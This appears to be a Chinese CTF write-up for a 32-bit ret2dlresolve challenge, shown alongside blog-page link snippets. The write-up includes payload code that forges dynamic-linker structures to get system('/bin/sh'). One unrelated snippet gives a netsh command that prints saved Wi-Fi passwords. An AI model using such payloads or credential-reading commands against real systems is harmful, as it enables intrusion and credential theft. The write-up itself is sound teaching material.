ret2dl32
ret2dl32
首先检查一下保护:
IDA分析一下
程序很简单就是,往bss段上的buf读入0x400个数据,然后拷贝到栈上。read_got还被置为0,这一看就是要逼着你使用ret2dlresolve。
首先我们程序劫持到bss段
padding = '\x00'*0x10c
padding += p32(base_stage+4)+'\x00'*8+ p32(base_stage+0x500)
padding = padding.ljust(0x300,'\x00')
上面的代码使得我们把控制流劫持到base_stage的位置。base_stage就是buf+0x300的位置。
接下来我们伪造 rel.plt
,dynsym
,dynstr
这三个结构体,最后是布置好参数让程序执行plt0。
fake_sym_addr = base_stage + 0x18
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) /0x10
r_info = (index_dynsym << 8) | 0x7
st_name = (fake_sym_addr+0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
index_offset = (base_stage + 0x10) - rel_plt
payload = p32(plt_0)
payload += p32(index_offset) #+0x4
payload += 'BBBB'
payload += p32(base_stage+80) #+0xC
payload += p32(elf.got['read']) + p32(r_info) #fake_rel
payload += 'C' * align
payload += p32(st_name) + p32(0) + p32(0) + p32(0x12) #fake_sym
payload += 'system\x00' #fake_dynstr
payload = payload.ljust(80,'A')
payload += '/bin/sh\x00
ret2dl32的更多相关文章
- ret2dl64
ret2dl64 ret2dl64 与ret2dl32不同,ret2dl64需要知道libc. 检查保护: IDA看一看 read_got 被置为0,强制你使用ret2dlresolve. 我们先伪造 ...
随机推荐
- 从微信小程序到鸿蒙js开发【06】——swiper&animator&marquee
目录: 1.swiper轮播图 2.image-animator幻灯片 3.marquee跑马灯 4.nginx动静分离 1.swiper轮播图 微信小程序的swiper组件中只能放置swiper-i ...
- css选择器,过滤筛选
$('.required:not(.final_price)').each(function() { if (!$(this).val()) { error_count ++; if ($(this) ...
- 开源OA办公平台搭建教程:O2OA+Arduino实现物联网应用(二)
O2OA平台搭建 O2OA的开发环境非常简单,安装服务器后即可通过浏览器进行开发了和使用.具体可参考文档库中的其他文档,有比较详细的介绍,这里就不再赘述了. Arduino开发发环境搭建 安装Ardu ...
- Python3+PYQT5 实现并打包exe小工具(2)
前言:前篇已经通过python代码实现了逻辑,传送门:https://www.cnblogs.com/jc-home/p/14447850.html 现在后篇记录的是打包成exe的方式给项目其他同事使 ...
- Get optimized undo_retention size for Oracle
reference: https://www.akadia.com/services/ora_optimize_undo.html#:~:text=Turning%20on%20automatic%2 ...
- win10 查看已保存的wifi密码
netsh wlan show profile name="WIFINAME-Test" key=clear C:\windows\system32> C:\window ...
- 微信小程序滚动条设置
隐藏滚动条 ::-webkit-scrollbar { width: 0rpx; height: 0rpx; background-color: transparent; } 其实设置为宽高为 0 或 ...
- 【免费开源】基于Vue和Quasar的crudapi前端SPA项目实战—环境搭建 (一)
背景介绍和环境搭建 背景 crudapi增删改查接口系统的后台Java API服务已经全部可用,需要一套后台管理UI,主要用户为开发人员或者对计算机有一定了解的工作人员,通过UI配置元数据和处理业务数 ...
- 在ASP.NET Core中用HttpClient(一)——获取数据和内容
在本文中,我们将学习如何在ASP.NET Core中集成和使用HttpClient.在学习不同HttpClient功能的同时使用Web API的资源.如何从Web API获取数据,以及如何直接使用Ht ...
- 简单的ssm练手联手项目
简单的ssm练手联手项目 这是一个简单的ssm整合项目 实现了汽车的品牌,价格,车型的添加 ,修改,删除,所有数据从数据库中拿取 使用到了jsp+mysql+Mybatis+spring+spring ...